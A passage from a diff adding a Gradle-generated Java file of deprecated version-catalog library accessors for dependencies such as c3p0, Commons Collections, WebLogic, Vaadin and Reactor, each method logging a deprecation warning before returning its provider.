+ * This dependency was declared in catalog libs.versions.toml + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public Provider getDatabind() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return create("com.fasterxml.jackson.core.jackson.databind"); + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class ComIbmLibraryAccessors extends SubDependencyFactory { + private final ComIbmWebsphereLibraryAccessors laccForComIbmWebsphereLibraryAccessors = new ComIbmWebsphereLibraryAccessors(owner); + + public ComIbmLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at com.ibm.websphere + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public ComIbmWebsphereLibraryAccessors getWebsphere() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForComIbmWebsphereLibraryAccessors; + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class ComIbmWebsphereLibraryAccessors extends SubDependencyFactory { + private final ComIbmWebsphereAppserverLibraryAccessors laccForComIbmWebsphereAppserverLibraryAccessors = new ComIbmWebsphereAppserverLibraryAccessors(owner); + + public ComIbmWebsphereLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at com.ibm.websphere.appserver + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public ComIbmWebsphereAppserverLibraryAccessors getAppserver() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForComIbmWebsphereAppserverLibraryAccessors; + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class ComIbmWebsphereAppserverLibraryAccessors extends SubDependencyFactory { + private final ComIbmWebsphereAppserverApiLibraryAccessors laccForComIbmWebsphereAppserverApiLibraryAccessors = new ComIbmWebsphereAppserverApiLibraryAccessors(owner); + + public ComIbmWebsphereAppserverLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at com.ibm.websphere.appserver.api + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public ComIbmWebsphereAppserverApiLibraryAccessors getApi() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForComIbmWebsphereAppserverApiLibraryAccessors; + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class ComIbmWebsphereAppserverApiLibraryAccessors extends SubDependencyFactory { + private final ComIbmWebsphereAppserverApiComLibraryAccessors laccForComIbmWebsphereAppserverApiComLibraryAccessors = new ComIbmWebsphereAppserverApiComLibraryAccessors(owner); + + public ComIbmWebsphereAppserverApiLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at com.ibm.websphere.appserver.api.com + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public ComIbmWebsphereAppserverApiComLibraryAccessors getCom() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForComIbmWebsphereAppserverApiComLibraryAccessors; + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class ComIbmWebsphereAppserverApiComLibraryAccessors extends SubDependencyFactory { + private final ComIbmWebsphereAppserverApiComIbmLibraryAccessors laccForComIbmWebsphereAppserverApiComIbmLibraryAccessors = new ComIbmWebsphereAppserverApiComIbmLibraryAccessors(owner); + + public ComIbmWebsphereAppserverApiComLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at com.ibm.websphere.appserver.api.com.ibm + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public ComIbmWebsphereAppserverApiComIbmLibraryAccessors getIbm() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForComIbmWebsphereAppserverApiComIbmLibraryAccessors; + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class ComIbmWebsphereAppserverApiComIbmLibraryAccessors extends SubDependencyFactory { + private final ComIbmWebsphereAppserverApiComIbmWebsphereLibraryAccessors laccForComIbmWebsphereAppserverApiComIbmWebsphereLibraryAccessors = new ComIbmWebsphereAppserverApiComIbmWebsphereLibraryAccessors(owner); + + public ComIbmWebsphereAppserverApiComIbmLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at com.ibm.websphere.appserver.api.com.ibm.websphere + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public ComIbmWebsphereAppserverApiComIbmWebsphereLibraryAccessors getWebsphere() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForComIbmWebsphereAppserverApiComIbmWebsphereLibraryAccessors; + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class ComIbmWebsphereAppserverApiComIbmWebsphereLibraryAccessors extends SubDependencyFactory { + private final ComIbmWebsphereAppserverApiComIbmWebsphereAppserverLibraryAccessors laccForComIbmWebsphereAppserverApiComIbmWebsphereAppserverLibraryAccessors = new ComIbmWebsphereAppserverApiComIbmWebsphereAppserverLibraryAccessors(owner); + + public ComIbmWebsphereAppserverApiComIbmWebsphereLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at com.ibm.websphere.appserver.api.com.ibm.websphere.appserver + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public ComIbmWebsphereAppserverApiComIbmWebsphereAppserverLibraryAccessors getAppserver() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForComIbmWebsphereAppserverApiComIbmWebsphereAppserverLibraryAccessors; + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class ComIbmWebsphereAppserverApiComIbmWebsphereAppserverLibraryAccessors extends SubDependencyFactory { + private final ComIbmWebsphereAppserverApiComIbmWebsphereAppserverApiLibraryAccessors laccForComIbmWebsphereAppserverApiComIbmWebsphereAppserverApiLibraryAccessors = new ComIbmWebsphereAppserverApiComIbmWebsphereAppserverApiLibraryAccessors(owner); + + public ComIbmWebsphereAppserverApiComIbmWebsphereAppserverLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at com.ibm.websphere.appserver.api.com.ibm.websphere.appserver.api + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public ComIbmWebsphereAppserverApiComIbmWebsphereAppserverApiLibraryAccessors getApi() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForComIbmWebsphereAppserverApiComIbmWebsphereAppserverApiLibraryAccessors; + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class ComIbmWebsphereAppserverApiComIbmWebsphereAppserverApiLibraryAccessors extends SubDependencyFactory { + + public ComIbmWebsphereAppserverApiComIbmWebsphereAppserverApiLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for wsoc with com.ibm.websphere.appserver.api:com.ibm.websphere.appserver.api.wsoc coordinates and + * with version reference com.ibm.websphere.appserver.api.com.ibm.websphere.appserver.api.wsoc + *

+ * This dependency was declared in catalog libs.versions.toml + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public Provider getWsoc() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return create("com.ibm.websphere.appserver.api.com.ibm.websphere.appserver.api.wsoc"); + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class ComMchangeLibraryAccessors extends SubDependencyFactory { + + public ComMchangeLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for c3p0 with com.mchange:c3p0 coordinates and + * with version reference com.mchange.c3p0 + *

+ * This dependency was declared in catalog libs.versions.toml + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public Provider getC3p0() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return create("com.mchange.c3p0"); + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class ComNqzeroLibraryAccessors extends SubDependencyFactory { + private final ComNqzeroPermitLibraryAccessors laccForComNqzeroPermitLibraryAccessors = new ComNqzeroPermitLibraryAccessors(owner); + + public ComNqzeroLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at com.nqzero.permit + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public ComNqzeroPermitLibraryAccessors getPermit() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForComNqzeroPermitLibraryAccessors; + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class ComNqzeroPermitLibraryAccessors extends SubDependencyFactory { + + public ComNqzeroPermitLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for reflect with com.nqzero:permit-reflect coordinates and + * with version reference com.nqzero.permit.reflect + *

+ * This dependency was declared in catalog libs.versions.toml + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public Provider getReflect() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return create("com.nqzero.permit.reflect"); + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class ComOracleLibraryAccessors extends SubDependencyFactory { + private final ComOracleWeblogicLibraryAccessors laccForComOracleWeblogicLibraryAccessors = new ComOracleWeblogicLibraryAccessors(owner); + + public ComOracleLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at com.oracle.weblogic + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public ComOracleWeblogicLibraryAccessors getWeblogic() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForComOracleWeblogicLibraryAccessors; + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class ComOracleWeblogicLibraryAccessors extends SubDependencyFactory { + private final ComOracleWeblogicWeblogicLibraryAccessors laccForComOracleWeblogicWeblogicLibraryAccessors = new ComOracleWeblogicWeblogicLibraryAccessors(owner); + + public ComOracleWeblogicLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at com.oracle.weblogic.weblogic + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public ComOracleWeblogicWeblogicLibraryAccessors getWeblogic() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForComOracleWeblogicWeblogicLibraryAccessors; + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class ComOracleWeblogicWeblogicLibraryAccessors extends SubDependencyFactory { + + public ComOracleWeblogicWeblogicLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for server with com.oracle.weblogic:weblogic-server coordinates and + * with version reference com.oracle.weblogic.weblogic.server + *

+ * This dependency was declared in catalog libs.versions.toml + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public Provider getServer() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return create("com.oracle.weblogic.weblogic.server"); + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class ComTeradataLibraryAccessors extends SubDependencyFactory { + private final ComTeradataJdbcLibraryAccessors laccForComTeradataJdbcLibraryAccessors = new ComTeradataJdbcLibraryAccessors(owner); + + public ComTeradataLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at com.teradata.jdbc + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public ComTeradataJdbcLibraryAccessors getJdbc() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForComTeradataJdbcLibraryAccessors; + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class ComTeradataJdbcLibraryAccessors extends SubDependencyFactory { + + public ComTeradataJdbcLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for terajdbc with com.teradata.jdbc:terajdbc coordinates and + * with version reference com.teradata.jdbc.terajdbc + *

+ * This dependency was declared in catalog libs.versions.toml + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public Provider getTerajdbc() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return create("com.teradata.jdbc.terajdbc"); + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class ComUnboundidLibraryAccessors extends SubDependencyFactory { + private final ComUnboundidUnboundidLibraryAccessors laccForComUnboundidUnboundidLibraryAccessors = new ComUnboundidUnboundidLibraryAccessors(owner); + + public ComUnboundidLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at com.unboundid.unboundid + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public ComUnboundidUnboundidLibraryAccessors getUnboundid() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForComUnboundidUnboundidLibraryAccessors; + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class ComUnboundidUnboundidLibraryAccessors extends SubDependencyFactory { + + public ComUnboundidUnboundidLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for ldapsdk with com.unboundid:unboundid-ldapsdk coordinates and + * with version reference com.unboundid.unboundid.ldapsdk + *

+ * This dependency was declared in catalog libs.versions.toml + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public Provider getLdapsdk() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return create("com.unboundid.unboundid.ldapsdk"); + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class ComVaadinLibraryAccessors extends SubDependencyFactory { + private final ComVaadinVaadinLibraryAccessors laccForComVaadinVaadinLibraryAccessors = new ComVaadinVaadinLibraryAccessors(owner); + + public ComVaadinLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at com.vaadin.vaadin + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public ComVaadinVaadinLibraryAccessors getVaadin() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForComVaadinVaadinLibraryAccessors; + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class ComVaadinVaadinLibraryAccessors extends SubDependencyFactory { + + public ComVaadinVaadinLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for server with com.vaadin:vaadin-server coordinates and + * with version reference com.vaadin.vaadin.server + *

+ * This dependency was declared in catalog libs.versions.toml + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public Provider getServer() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return create("com.vaadin.vaadin.server"); + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class CommonsLibraryAccessors extends SubDependencyFactory { + private final CommonsBeanutilsLibraryAccessors laccForCommonsBeanutilsLibraryAccessors = new CommonsBeanutilsLibraryAccessors(owner); + private final CommonsCliLibraryAccessors laccForCommonsCliLibraryAccessors = new CommonsCliLibraryAccessors(owner); + private final CommonsCollectionsLibraryAccessors laccForCommonsCollectionsLibraryAccessors = new CommonsCollectionsLibraryAccessors(owner); + + public CommonsLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at commons.beanutils + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public CommonsBeanutilsLibraryAccessors getBeanutils() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForCommonsBeanutilsLibraryAccessors; + } + + /** + * Group of libraries at commons.cli + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public CommonsCliLibraryAccessors getCli() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForCommonsCliLibraryAccessors; + } + + /** + * Group of libraries at commons.collections + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public CommonsCollectionsLibraryAccessors getCollections() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForCommonsCollectionsLibraryAccessors; + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class CommonsBeanutilsLibraryAccessors extends SubDependencyFactory { + private final CommonsBeanutilsCommonsLibraryAccessors laccForCommonsBeanutilsCommonsLibraryAccessors = new CommonsBeanutilsCommonsLibraryAccessors(owner); + + public CommonsBeanutilsLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at commons.beanutils.commons + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public CommonsBeanutilsCommonsLibraryAccessors getCommons() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForCommonsBeanutilsCommonsLibraryAccessors; + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class CommonsBeanutilsCommonsLibraryAccessors extends SubDependencyFactory { + + public CommonsBeanutilsCommonsLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for beanutils with commons-beanutils:commons-beanutils coordinates and + * with version reference commons.beanutils.commons.beanutils + *

+ * This dependency was declared in catalog libs.versions.toml + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public Provider getBeanutils() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return create("commons.beanutils.commons.beanutils"); + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class CommonsCliLibraryAccessors extends SubDependencyFactory { + private final CommonsCliCommonsLibraryAccessors laccForCommonsCliCommonsLibraryAccessors = new CommonsCliCommonsLibraryAccessors(owner); + + public CommonsCliLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at commons.cli.commons + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public CommonsCliCommonsLibraryAccessors getCommons() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForCommonsCliCommonsLibraryAccessors; + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class CommonsCliCommonsLibraryAccessors extends SubDependencyFactory { + + public CommonsCliCommonsLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for cli with commons-cli:commons-cli coordinates and + * with version reference commons.cli.commons.cli + *

+ * This dependency was declared in catalog libs.versions.toml + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public Provider getCli() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return create("commons.cli.commons.cli"); + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class CommonsCollectionsLibraryAccessors extends SubDependencyFactory { + private final CommonsCollectionsCommonsLibraryAccessors laccForCommonsCollectionsCommonsLibraryAccessors = new CommonsCollectionsCommonsLibraryAccessors(owner); + + public CommonsCollectionsLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at commons.collections.commons + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public CommonsCollectionsCommonsLibraryAccessors getCommons() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForCommonsCollectionsCommonsLibraryAccessors; + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class CommonsCollectionsCommonsLibraryAccessors extends SubDependencyFactory { + + public CommonsCollectionsCommonsLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for collections with commons-collections:commons-collections coordinates and + * with version reference commons.collections.commons.collections + *

+ * This dependency was declared in catalog libs.versions.toml + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public Provider getCollections() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return create("commons.collections.commons.collections"); + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class IoLibraryAccessors extends SubDependencyFactory { + private final IoProjectreactorLibraryAccessors laccForIoProjectreactorLibraryAccessors = new IoProjectreactorLibraryAccessors(owner); + private final IoUndertowLibraryAccessors laccForIoUndertowLibraryAccessors = new IoUndertowLibraryAccessors(owner); + + public IoLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at io.projectreactor + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public IoProjectreactorLibraryAccessors getProjectreactor() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForIoProjectreactorLibraryAccessors; + } + + /** + * Group of libraries at io.undertow + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public IoUndertowLibraryAccessors getUndertow() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForIoUndertowLibraryAccessors; + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class IoProjectreactorLibraryAccessors extends SubDependencyFactory { + private final IoProjectreactorReactorLibraryAccessors laccForIoProjectreactorReactorLibraryAccessors = new IoProjectreactorReactorLibraryAccessors(owner); + + public IoProjectreactorLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at io.projectreactor.reactor + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public IoProjectreactorReactorLibraryAccessors getReactor() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForIoProjectreactorReactorLibraryAccessors; + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class IoProjectreactorReactorLibraryAccessors extends SubDependencyFactory { + + public IoProjectreactorReactorLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for core with io.projectreactor:reactor-core coordinates and + * with version reference io.projectreactor.reactor.core + *

